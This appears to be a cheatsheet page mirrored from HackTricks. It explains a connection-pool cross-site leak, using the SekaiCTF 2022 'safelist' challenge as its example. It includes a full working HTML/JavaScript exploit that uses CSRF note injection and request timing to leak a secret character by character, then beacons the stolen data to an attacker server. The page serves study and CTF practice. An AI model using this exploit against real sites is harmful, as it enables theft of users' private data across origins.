daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

connection-pool-by-destination-example.md (7177B)


      1 ---
      2 title: "Connection Pool by Destination Example"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/connection-pool-by-destination-example.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/connection-pool-by-destination-example.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Connection Pool by Destination Example
     14 
     15 In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) proposes yet another solution for the challenge mentioned in the following page:<sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
     16 
     17 [Connection Pool Example](/hacktricks/pentesting-web/xs-search/connection-pool-example)
     18 
     19 Let's see how this exploit works:
     20 
     21 - The attacker injects a note with as many **`<img`** tags **loading** **`/js/purify.js`** as possible (more than 6 requests to saturate that destination queue).
     22 - Then, the attacker **removes** the **note** with index 1.
     23 - Finally, the attacker sends a **timed request** to **`victim.com/js/purify.js`**.
     24   - If the timed request is **slower**, the **injected note** was the one left and its **`<img>`** tags are still competing for the same destination.
     25   - If the timed request is **faster**, the **flag note** was left instead.
     26 
     27 > [!NOTE]
     28 > The exploit does not need an extra explicit navigation step because the **form submissions already open target-origin responses in auxiliary windows** (`target="xxx"` and `target="_blank"`). If the surviving note is the injected one, those responses render the note and the browser starts fetching the embedded **`/js/purify.js?...`** images, which is exactly what the final timed `<script>` request races against.
     29 
     30 ## Why this variant is useful
     31 
     32 This is **not** the classic "block 255 global sockets and measure the 256th" trick.<sup>[[1]](#references)</sup> The oracle here is much narrower: the attacker only cares about the **per-destination contention** for requests going to the **same origin/resource bucket**.
     33 
     34 That makes this variant useful in scenarios where the attacker can get **HTML rendered inside the victim origin** (for example via HTML injection plus CSRF), because:
     35 
     36 - browser mitigations against the old **global** connection-pool oracle do **not automatically kill** a same-destination queue inside the victim context,
     37 - the attacker can make the victim page itself generate the competing requests, and
     38 - the probe can be reduced to a **single timed request** to the exact resource the injected markup is loading.
     39 
     40 ## Practical notes
     41 
     42 - The **random query string** in `purify.js?${Math.random()}` is important to avoid hitting a warm cache and accidentally removing the timing signal.
     43 - In practice, you want the **probe** and the **victim-generated requests** to share the same network bucket as much as possible: same **scheme**, **host**, **port**, and usually the same request destination.
     44 - The exploit uses a dynamically created **`<script>`** element as the timer. This is a practical detail: other request primitives such as **`fetch()`** may not always contend in exactly the same way as parser-driven subresource loads, so when reproducing this technique it is worth testing several request types.
     45 - Modern browsers have made the **global** connection-pool attack less reliable via partitioning and related mitigations, but this **same-destination** variant can still matter when attacker-controlled markup is rendered by the target site and both flows stay inside the same partition.
     46 
     47 ```html
     48 <html>
     49   <head>
     50     <script>
     51       const SITE_URL = "https://safelist.ctf.sekai.team/"
     52       const PING_URL = "https://myserver"
     53       function timeScript() {
     54         return new Promise((resolve) => {
     55           var x = document.createElement("script")
     56           x.src =
     57             "https://safelist.ctf.sekai.team/js/purify.js?" + Math.random()
     58           var start = Date.now()
     59           x.onerror = () => {
     60             console.log(`Time: ${Date.now() - start}`) //Time request
     61             resolve(Date.now() - start)
     62             x.remove()
     63           }
     64           document.body.appendChild(x)
     65         })
     66       }
     67 
     68       add_note = async (note) => {
     69         let x = document.createElement("form")
     70         x.action = SITE_URL + "create"
     71         x.method = "POST"
     72         x.target = "xxx"
     73 
     74         let i = document.createElement("input")
     75         i.type = "text"
     76         i.name = "text"
     77         i.value = note
     78         x.appendChild(i)
     79         document.body.appendChild(x)
     80         x.submit()
     81       }
     82 
     83       remove_note = async (note_id) => {
     84         let x = document.createElement("form")
     85         x.action = SITE_URL + "remove"
     86         x.method = "POST"
     87         x.target = "_blank"
     88 
     89         let i = document.createElement("input")
     90         i.type = "text"
     91         i.name = "index"
     92         i.value = note_id
     93         x.appendChild(i)
     94         document.body.appendChild(x)
     95         x.submit()
     96       }
     97 
     98       const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
     99       // }zyxwvutsrqponmlkjihgfedcba_
    100       const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
    101       var prefix = "SEKAI{xsleakyay"
    102       const TIMEOUT = 500
    103       async function checkLetter(letter) {
    104         // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
    105         // Depending whether we found flag's letter it will either load the images or not.
    106         // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
    107         const payload =
    108           `${prefix}${letter}` +
    109           Array.from(Array(78))
    110             .map((e, i) => `<img/src=/js/purify.js?${i}>`)
    111             .join("")
    112         await add_note(payload)
    113         await sleep(TIMEOUT)
    114         await timeScript()
    115         await remove_note(1) //Now, only the note with the flag or with the injection exists
    116         await sleep(TIMEOUT)
    117         const time = await timeScript() //Find out how much a request to the same origin takes
    118         navigator.sendBeacon(PING_URL, [letter, time])
    119         if (time > 100) {
    120           return 1
    121         }
    122         return 0
    123       }
    124       window.onload = async () => {
    125         navigator.sendBeacon(PING_URL, "start")
    126         // Does not work because we remove the flag after success.
    127         // while(1){
    128         for (const letter of alphabet) {
    129           if (await checkLetter(letter)) {
    130             prefix += letter
    131             navigator.sendBeacon(PING_URL, prefix)
    132             break
    133           }
    134         }
    135         // }
    136       }
    137     </script>
    138   </head>
    139   <body></body>
    140 </html>
    141 ```
    142 
    143 ## References
    144 
    145 - [1] [XS-Leaks Wiki - Connection Pool](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
    146 - [2] [terjanq - safelist.html gist (SekaiCTF 2022 challenge exploit)](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html)
    147 - [3] [Huli - SekaiCTF 2022 - safelist writeup](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)